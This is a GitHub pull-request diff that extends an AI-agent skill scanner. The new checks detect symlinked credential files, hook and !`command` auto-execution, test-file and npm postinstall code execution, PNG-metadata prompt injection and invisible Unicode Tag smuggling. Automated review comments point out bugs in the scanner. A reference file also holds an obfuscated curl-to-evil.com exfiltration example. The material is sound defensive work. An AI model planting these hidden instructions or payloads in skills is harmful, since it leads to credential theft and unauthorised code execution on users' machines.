Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 0 additions & 1 deletion .agents/skills/security-review/languages/javascript.md
Original file line number Diff line number Diff line change
Expand Up @@ -143,7 +143,6 @@ path.join(base, userInput); // FLAG: ../../../ possible

// SSRF
fetch(userUrl); // FLAG: Check URL validation
axios.get(userUrl); // FLAG: Check URL validation
http.get(userUrl); // FLAG: Check URL validation

// Prototype Pollution
Expand Down
8 changes: 3 additions & 5 deletions .agents/skills/security-review/references/ssrf.md
Original file line number Diff line number Diff line change
Expand Up @@ -259,8 +259,6 @@ class SafeRequests:
### Node.js

```javascript
const axios = require('axios');
const url = require('url');
const dns = require('dns').promises;

async function safeFetch(targetUrl) {
Expand All @@ -277,9 +275,9 @@ async function safeFetch(targetUrl) {
throw new Error('Internal IP not allowed');
}

return axios.get(targetUrl, {
maxRedirects: 0,
timeout: 30000
return fetch(targetUrl, {
redirect: 'error',
signal: AbortSignal.timeout(30000)
});
}
```
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -55,7 +55,7 @@ yarn.lock
"dependencies": {
"lodash": "^4.0.0", // Could get 4.999.0
"express": "*", // Any version
"axios": "latest" // Always latest
"left-pad": "latest" // Always latest
}
}
```
Expand Down
27 changes: 19 additions & 8 deletions .agents/skills/skill-scanner/SKILL.md
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,9 @@ allowed-tools: Read, Grep, Glob, Bash

Scan agent skills for security issues before adoption. Detects prompt injection, malicious code, excessive permissions, secret exposure, and supply chain risks.

**Important**: Run all scripts from the repository root using the full path via `${CLAUDE_SKILL_ROOT}`.
**Requires**: The `uv` CLI for python package management, install guide at https://docs.astral.sh/uv/getting-started/installation/

**Important**: Run all scripts from the repository root. Script paths like `scripts/scan_skill.py` are relative to this skill's root directory (the directory containing this SKILL.md), not relative to the target repository.

## Bundled Script

Expand All @@ -20,7 +22,7 @@ Scan agent skills for security issues before adoption. Detects prompt injection,
Static analysis scanner that detects deterministic patterns. Outputs structured JSON.

```bash
uv run ${CLAUDE_SKILL_ROOT}/scripts/scan_skill.py <skill-directory>
uv run scripts/scan_skill.py <skill-directory>
```

Returns JSON with findings, URLs, structure info, and severity counts. The script catches patterns mechanically — your job is to evaluate intent and filter false positives.
Expand All @@ -32,7 +34,7 @@ Returns JSON with findings, URLs, structure info, and severity counts. The scrip
Determine the scan target:

- If the user provides a skill directory path, use it directly
- If the user names a skill, look for it under `plugins/*/skills/<name>/` or `.claude/skills/<name>/`
- If the user names a skill, look for it under `.agents/skills/<name>/` first, then other established layouts such as `skills/<name>/` when the repo uses a canonical root skill tree, `.claude/skills/<name>/`, `plugins/*/skills/<name>/`, or another repo-managed skill root with clear prior art
- If the user says "scan all skills", discover all `*/SKILL.md` files and scan each

Validate the target contains a `SKILL.md` file. List the skill structure:
Expand All @@ -48,7 +50,7 @@ ls <skill-directory>/scripts/ 2>/dev/null
Run the bundled scanner:

```bash
uv run ${CLAUDE_SKILL_ROOT}/scripts/scan_skill.py <skill-directory>
uv run scripts/scan_skill.py <skill-directory>
```

Parse the JSON output. The script produces findings with severity levels, URL analysis, and structure information. Use these as leads for deeper analysis.
Expand All @@ -67,7 +69,7 @@ Read the SKILL.md and check:

### Phase 4: Prompt Injection Analysis

Load `${CLAUDE_SKILL_ROOT}/references/prompt-injection-patterns.md` for context.
Load `references/prompt-injection-patterns.md` for context.

Review scanner findings in the "Prompt Injection" category. For each finding:

Expand All @@ -88,7 +90,8 @@ This phase is agent-only — no pattern matching. Read the full SKILL.md instruc
**Config/memory poisoning**:
- Instructions to modify `CLAUDE.md`, `MEMORY.md`, `settings.json`, `.mcp.json`, or hook configurations
- Instructions to add itself to allowlists or auto-approve permissions
- Writing to `~/.claude/` or any agent configuration directory
- Writing to `~/.claude/`, `~/.agents/`, or any agent configuration directory
- Scripts that append to global config files — the poisoned instructions persist after skill removal

**Scope creep**:
- Instructions that exceed the skill's stated purpose
Expand All @@ -100,11 +103,19 @@ This phase is agent-only — no pattern matching. Read the full SKILL.md instruc
- Listing directory contents outside the skill's scope
- Accessing git history, credentials, or user data unnecessarily

**Structural attacks** (check scanner output for these):
- **Symlinks**: Files that resolve outside the skill directory — can disguise reads of `~/.ssh/id_rsa`, `~/.aws/credentials`, etc. as "example" files
- **Frontmatter hooks**: `PostToolUse`/`PreToolUse` hooks in YAML — execute shell commands automatically, the model cannot prevent it
- **`!`command`` syntax**: Runs shell commands at skill load time during template expansion, before the model sees the prompt
- **Test files**: `conftest.py`, `test_*.py`, `*.test.js` — test runners auto-discover and execute these as side effects of `pytest` or `npm test`
- **npm lifecycle hooks**: `postinstall` scripts in bundled `package.json` — run automatically on `npm install`
- **Image metadata**: PNG files with text in metadata chunks (tEXt/iTXt) — multimodal LLMs can read hidden instructions from image metadata

### Phase 6: Script Analysis

If the skill has a `scripts/` directory:

1. Load `${CLAUDE_SKILL_ROOT}/references/dangerous-code-patterns.md` for context
1. Load `references/dangerous-code-patterns.md` for context
2. Read each script file fully (do not skip any)
3. Check scanner findings in the "Malicious Code" category
4. For each finding, evaluate:
Expand All @@ -130,7 +141,7 @@ Review URLs from the scanner output and any additional URLs found in scripts:

### Phase 8: Permission Analysis

Load `${CLAUDE_SKILL_ROOT}/references/permission-analysis.md` for the tool risk matrix.
Load `references/permission-analysis.md` for the tool risk matrix.

Evaluate:

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -157,6 +157,25 @@ cmd = chr(99)+chr(117)+chr(114)+chr(108) # "curl"
os.system(cmd + " evil.com")
```

## Structural Attack Patterns

These don't require malicious code content — the attack is in the file structure itself.

### Symlinks
Files that resolve outside the skill directory. A file named `examples/id_rsa.example` that is actually a symlink to `~/.ssh/id_rsa` tricks the agent into reading real credentials when it reads the "example."

### Test File Auto-Discovery
`conftest.py` is auto-imported by pytest at collection time. `*.test.js` files may be auto-discovered by Jest/Vitest. These execute as side effects of `pytest` or `npm test` — the agent just runs tests, the malicious code runs automatically.

### npm Lifecycle Hooks
`package.json` files with `postinstall` (or `preinstall`, `install`) scripts execute automatically on `npm install`. A skill that bundles a local package with a postinstall hook gets code execution whenever the agent installs dependencies.

### Frontmatter Hooks (Claude Code)
YAML frontmatter in SKILL.md can define `PostToolUse`, `PreToolUse`, etc. hooks that execute shell commands on lifecycle events. The model cannot prevent this — the harness runs hooks automatically.

### `!`command`` Pre-prompt Injection (Claude Code)
The `!`command`` syntax in SKILL.md runs shell commands at template expansion time, before the model sees the prompt. Requires `allowed-tools: Bash(...)` or permissive settings.

## Legitimate Patterns

Not all matches are malicious. These are normal in skill scripts:
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -47,7 +47,7 @@ Expected tool sets by skill type:
### Workflow Automation Skills
- **Expected**: `Read, Grep, Glob, Bash`
- **Bash justification**: Git operations, CI commands, gh CLI
- **Examples**: commit, create-pr, iterate-pr
- **Examples**: commit, pr-writer, iterate-pr

### Content Generation Skills
- **Expected**: `Read, Grep, Glob, Write` or `Read, Grep, Glob, Bash, Write, Edit`
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -81,6 +81,19 @@ Used to make malicious instructions look like normal text while bypassing keywor
### RTL Override
Unicode bidirectional override characters (`U+202E`) can reverse displayed text direction, hiding the true content from visual review.

### Unicode Tag Characters (U+E0000 block)
The Tags Unicode block (U+E0001–U+E007F) provides invisible representations of every ASCII character. These are:
- Invisible in all text editors, GitHub, and terminal output
- Processed normally by LLM tokenizers
- Mapping: `ASCII code point + 0xE0000 = invisible tag character`

Detection: `cat -v` shows escape sequences, or check file size vs visible content (large discrepancy = suspicious). The scanner decodes these automatically.

### PNG/Image Metadata Injection
Hidden instructions embedded in PNG metadata chunks (tEXt, iTXt, Description, Comment fields). The image renders normally but metadata contains prompt injection text. Multimodal LLMs that inspect image files can read and follow these instructions.

Detection: `exiftool <image>` or check for tEXt/iTXt chunks in PNG binary data.

### Whitespace and Formatting
- Injection patterns hidden in trailing whitespace
- Instructions placed in markdown that renders as invisible (e.g., empty links, reference-style links that aren't displayed)
Expand Down
169 changes: 165 additions & 4 deletions .agents/skills/skill-scanner/scripts/scan_skill.py
Original file line number Diff line number Diff line change
Expand Up @@ -18,10 +18,8 @@

import base64
import json
import os
import re
import sys
import unicodedata
from pathlib import Path
from typing import Any

Expand Down Expand Up @@ -55,6 +53,7 @@
("Zero-width characters", "Zero-width space, joiner, or non-joiner detected"),
("Right-to-left override", "RTL override character can hide text direction"),
("Homoglyph characters", "Characters visually similar to ASCII but from different Unicode blocks"),
("Unicode Tag characters", "Tags block (U+E0000-E007F) can encode invisible ASCII text readable by LLMs"),
]

SECRET_PATTERNS: list[tuple[str, str, str]] = [
Expand Down Expand Up @@ -238,6 +237,23 @@
"category": "Obfuscation",
})

# Unicode Tag characters (U+E0000 block) — invisible text readable by LLMs
tag_pattern = re.compile(r"[\U000e0001-\U000e007f]")
tag_chars = tag_pattern.findall(content)
if tag_chars:
# Decode the hidden text
decoded = "".join(
chr(ord(c) - 0xE0000) for c in tag_chars if 0xE0020 <= ord(c) <= 0xE007E
)
findings.append({
"type": "Unicode Tag Smuggling",
"severity": "critical",
"location": filepath,
"description": f"Invisible Unicode Tag characters detected ({len(tag_chars)} chars). "
f"Decoded hidden text: {decoded[:200]}",
"category": "Obfuscation",
})

# Suspicious base64 strings (long base64 that decodes to text with suspicious keywords)
b64_pattern = re.compile(r"[A-Za-z0-9+/]{40,}={0,2}")
for line_num, line in enumerate(lines, 1):
Expand Down Expand Up @@ -361,9 +377,151 @@
return urls


def check_structural_attacks(skill_dir: Path, content: str, frontmatter: dict[str, Any] | None) -> list[dict[str, Any]]:
"""Detect structural attack patterns that go beyond text content."""
findings: list[dict[str, Any]] = []

# 1. Symlinks — files that resolve to paths outside the skill directory
for path in skill_dir.rglob("*"):
if path.is_symlink():
target = path.resolve()
is_internal = target.is_relative_to(skill_dir.resolve())
findings.append({
"type": "Symlink Detected",
"severity": "medium" if is_internal else "critical",
"location": str(path.relative_to(skill_dir)),
"description": f"Symlink points to {path.readlink()} (resolves to {str(target)}). "
"Symlinks can trick agents into reading sensitive files (e.g., ~/.ssh/id_rsa) "
"disguised as example/reference files.",
"category": "Symlink Exfiltration",
})

# 2. YAML hook exploitation — hooks in frontmatter execute shell commands
if frontmatter and "hooks" in frontmatter:
hooks = frontmatter["hooks"]
hook_types = hooks.keys() if isinstance(hooks, dict) else []
for hook_type in hook_types:
findings.append({
"type": "Frontmatter Hooks",
"severity": "critical",
"location": "SKILL.md frontmatter",
"description": f"Skill defines '{hook_type}' hooks. Hooks execute shell commands "
"automatically on lifecycle events — the model cannot prevent execution. "
"Review all hook commands carefully.",
"category": "Hook Exploitation",
})

# 3. !`command` pre-prompt injection — runs at template expansion time
bang_pattern = re.compile(r"!\`[^`]+\`")
for line_num, line in enumerate(content.split("\n"), 1):
for match in bang_pattern.finditer(line):
cmd = match.group()[2:-1] # Strip !` and `
findings.append({
"type": "Pre-prompt Command",
"severity": "high",
"location": f"SKILL.md:{line_num}",
"description": f"!`command` syntax executes at skill load time before the model sees "
f"the prompt. Command: {cmd}",
"evidence": line.strip()[:200],
"category": "Pre-prompt Injection",
})

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Docs trigger pre-prompt detector

Medium Severity

The ! pre-prompt regex scans all of `SKILL.md`, so documenting the attack syntax (e.g. the `!`command bullet on line 109) is reported as a high-severity “Pre-prompt Command” even though no shell runs at load time.

Additional Locations (1)
Fix in Cursor Fix in Web

Reviewed by Cursor Bugbot for commit 95f285d. Configure here.


# 4. Test file auto-discovery — conftest.py, test_*.py, *.test.js/ts
test_patterns = {
"conftest.py": "pytest auto-imports conftest.py at collection time — code runs before any tests",
"test_*.py": "pytest discovers and runs test_*.py files automatically",
"*_test.py": "pytest discovers and runs *_test.py files automatically",
"*.test.js": "Jest/Vitest may discover .test.js files if dot:true glob is set",
"*.test.ts": "Jest/Vitest may discover .test.ts files if dot:true glob is set",
}
for path in skill_dir.rglob("*"):
if not path.is_file():
continue
name = path.name
for pattern, desc in test_patterns.items():
import fnmatch
if fnmatch.fnmatch(name, pattern):
findings.append({
"type": "Test File Auto-Discovery",
"severity": "high",
"location": str(path.relative_to(skill_dir)),
"description": f"{desc}. Bundled test files execute as a side effect of running "
"the test suite — review file contents for hidden payloads.",
"category": "Test File RCE",
})

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Duplicate test-file scan findings

Low Severity

Test auto-discovery loops over every test_patterns entry without stopping after a match, so one Python file can match both test_*.py and *_test.py and emit two separate high-severity findings for the same path.

Fix in Cursor Fix in Web

Reviewed by Cursor Bugbot for commit 95f285d. Configure here.


# 5. npm postinstall — bundled package.json with lifecycle scripts
for pkg_json in skill_dir.rglob("package.json"):
try:
pkg = json.loads(pkg_json.read_text(encoding="utf-8", errors="replace"))
except (json.JSONDecodeError, OSError, ValueError):
continue
scripts = pkg.get("scripts") or {}
lifecycle_hooks = ["preinstall", "install", "postinstall", "preuninstall", "postuninstall"]
for hook in lifecycle_hooks:
if hook in scripts:
findings.append({
"type": "npm Lifecycle Hook",
"severity": "critical",
"location": str(pkg_json.relative_to(skill_dir)),
"description": f"package.json defines '{hook}' script: {scripts[hook]}. "
"npm executes lifecycle hooks automatically on install — "
"this is a common supply chain attack vector.",
"category": "Supply Chain",
})

# 6. Image metadata — parse PNG chunks properly to find tEXt/iTXt metadata
import struct
for img_path in skill_dir.rglob("*.png"):
try:
data = img_path.read_bytes()
# PNG files start with 8-byte signature, then chunks
# Each chunk: 4-byte length (big-endian), 4-byte type, data, 4-byte CRC
if data[:8] != b"\x89PNG\r\n\x1a\n":
continue
offset = 8
while offset + 8 <= len(data):
chunk_len = struct.unpack(">I", data[offset:offset + 4])[0]
chunk_type = data[offset + 4:offset + 8]
chunk_data = data[offset + 8:offset + 8 + chunk_len]

keyword = ""
value = ""
if chunk_type == b"tEXt":
# tEXt: keyword\0text
parts = chunk_data.split(b"\x00", 1)
if len(parts) > 1:
keyword = parts[0].decode("ascii", errors="ignore")
value = parts[1][:200].decode("latin-1", errors="ignore")
elif chunk_type == b"iTXt":
# iTXt: keyword\0comprFlag\0comprMethod\0langTag\0transKeyword\0text
parts = chunk_data.split(b"\x00", 4)
if len(parts) >= 5:
keyword = parts[0].decode("ascii", errors="ignore")
value = parts[4][:200].decode("utf-8", errors="ignore")

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Incorrect iTXt PNG metadata parse

Medium Severity

iTXt chunks are parsed by splitting on null bytes only, but the PNG spec places one-byte compression flag and method between fields without null separators, so parts[4] often is not the text payload and metadata findings can be wrong or missed.

Fix in Cursor Fix in Web

Reviewed by Cursor Bugbot for commit 95f285d. Configure here.

Comment on lines +496 to +501

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Bug: The code incorrectly parses PNG iTXt chunks by splitting on null bytes. It misinterprets the fixed-size comprFlag and comprMethod fields as null-terminated, leading to incorrect metadata extraction.
Severity: HIGH

Suggested Fix

The fix requires parsing the iTXt chunk according to its specification instead of relying on split. First, find the keyword by splitting on the first null byte. Then, read the next two bytes directly for comprFlag and comprMethod. The remaining data can then be split on the remaining null bytes to correctly extract the language tag, translated keyword, and the final text content.

Prompt for AI Agent
Review the code at the location below. A potential bug has been identified by an AI
agent. Verify if this is a real issue. If it is, propose a fix; if not, explain why it's
not valid.

Location: .agents/skills/skill-scanner/scripts/scan_skill.py#L496-L501

Potential issue: The PNG `iTXt` chunk parser at `scan_skill.py:496` incorrectly assumes
all fields are null-terminated. The PNG specification defines `comprFlag` and
`comprMethod` as single-byte binary fields, not null-terminated strings. The current
implementation uses `chunk_data.split(b"\x00", 4)`, which fails for uncompressed chunks
(the common case) where `comprFlag` is `0x00`. This creates an extra empty part in the
split result, causing the code to incorrectly identify the translated keyword as the
text content and miss the actual text. Consequently, the scanner will fail to detect
malicious text in the most common type of PNG text metadata.

Did we get this right? 👍 / 👎 to inform future reviews.


if keyword and value.strip():
findings.append({
"type": "Image Metadata Text",
"severity": "high",
"location": str(img_path.relative_to(skill_dir)),
"description": f"PNG contains text metadata ('{keyword}'): {value[:100]}. "
"Hidden instructions in image metadata can be read by "
"multimodal LLMs when they inspect the file.",
"category": "Image Injection",
})

# Advance to next chunk: length + type(4) + data + CRC(4)
offset += 4 + 4 + chunk_len + 4
except (OSError, struct.error):
continue

return findings


def compute_description_body_overlap(frontmatter: dict[str, Any] | None, body: str) -> float:
"""Compute keyword overlap between description and body as a heuristic."""
if not frontmatter or "description" not in frontmatter:
if not frontmatter or "description" not in frontmatter or frontmatter["description"] is None:
return 0.0

desc_words = set(re.findall(r"\b[a-z]{4,}\b", frontmatter["description"].lower()))
Expand Down Expand Up @@ -440,8 +598,11 @@
all_urls.extend(extract_urls(script_content, rel_path))

all_findings.extend(script_findings)

Check warning on line 601 in .agents/skills/skill-scanner/scripts/scan_skill.py

View check run for this annotation

@sentry/warden / warden: code-review

Unhandled OSError in symlink section can abort the entire scan

If `path.readlink()` or `path.resolve()` raises an `OSError` (e.g. a permission-denied error on a symlink in a restricted directory), the exception propagates unhandled through this call and crashes `scan_skill`, returning no findings at all. Wrap the symlink loop body in a `try/except OSError` like the PNG and `package.json` sections already do.

Check warning on line 601 in .agents/skills/skill-scanner/scripts/scan_skill.py

View check run for this annotation

@sentry/warden / warden: find-bugs

`rglob("*")` in `check_structural_attacks()` follows directory symlinks on Python &lt;3.13, enabling filesystem-traversal DoS against the scanner

`check_structural_attacks()` enumerates the skill directory with `skill_dir.rglob("*")` (symlink scan, test-file scan) and `skill_dir.rglob("*.png")` (PNG scan) without disabling symlink following. On Python 3.9–3.12 (the script declares `requires-python = ">=3.9"`), `pathlib.Path.rglob` descends into directory symlinks, so a malicious skill containing a single directory symlink to `/` (or `~`) makes the scanner enumerate and, for the PNG branch, read arbitrary files across the whole filesystem — the very class of attack the symlink check was added to catch. A circular symlink can additionally trigger runaway recursion/resource exhaustion. The `is_symlink()` guard at the top of the loop only fires after `rglob` has already begun descending into the symlinked subtree, so it does not prevent the traversal.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Unhandled OSError in symlink section can abort the entire scan

If path.readlink() or path.resolve() raises an OSError (e.g. a permission-denied error on a symlink in a restricted directory), the exception propagates unhandled through this call and crashes scan_skill, returning no findings at all. Wrap the symlink loop body in a try/except OSError like the PNG and package.json sections already do.

Evidence
  • check_structural_attacks at line 380 loops over skill_dir.rglob("*") and calls path.readlink() and path.resolve() with no surrounding try/except.
  • Both Path.readlink() and Path.resolve() can raise OSError (e.g. EACCES, EIO).
  • The PNG section (lines 479–518) and package.json section each wrap their I/O in try/except (OSError, ...), but the symlink section has no equivalent guard.
  • An unhandled exception propagates through the call at line 601 (all_findings.extend(check_structural_attacks(...))) and exits scan_skill with an uncaught exception, discarding all findings gathered so far.

Identified by Warden code-review · 342-AW8

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

rglob("*") in check_structural_attacks() follows directory symlinks on Python <3.13, enabling filesystem-traversal DoS against the scanner

check_structural_attacks() enumerates the skill directory with skill_dir.rglob("*") (symlink scan, test-file scan) and skill_dir.rglob("*.png") (PNG scan) without disabling symlink following. On Python 3.9–3.12 (the script declares requires-python = ">=3.9"), pathlib.Path.rglob descends into directory symlinks, so a malicious skill containing a single directory symlink to / (or ~) makes the scanner enumerate and, for the PNG branch, read arbitrary files across the whole filesystem — the very class of attack the symlink check was added to catch. A circular symlink can additionally trigger runaway recursion/resource exhaustion. The is_symlink() guard at the top of the loop only fires after rglob has already begun descending into the symlinked subtree, so it does not prevent the traversal.

Evidence
  • check_structural_attacks() (def at line 380) calls skill_dir.rglob("*") at lines 385 and 437 and skill_dir.rglob("*.png") at line 475, none passing follow_symlinks=False.
  • The script header declares requires-python = ">=3.9"; pathlib.Path.rglob's follow_symlinks parameter was only added in Python 3.13, and on 3.9–3.12 ** recursion follows directory symlinks, so a directory symlink to / causes full-filesystem enumeration.
  • The if path.is_symlink() check at line 386 emits a finding for the symlink entry but runs during iteration, after rglob has already started descending into the linked tree, so it cannot stop the traversal.
  • The PNG branch (line 475) calls img_path.read_bytes() on every *.png reached via traversal, so a symlinked subtree lets it read PNGs outside the skill directory and surface their metadata in findings.
  • Fix: iterate with os.walk(skill_dir, followlinks=False) (or guard each rglob result by skipping when an ancestor is a symlink), instead of relying on rglob's symlink-following default.

Identified by Warden find-bugs · ZTP-EUB

# 8. Description-body overlap
# 8. Structural attacks (symlinks, hooks, !command, test files, npm, image metadata)
all_findings.extend(check_structural_attacks(skill_dir, content, frontmatter))

# 9. Description-body overlap
overlap = compute_description_body_overlap(frontmatter, body)

# Build structure info
Expand Down
Loading
Loading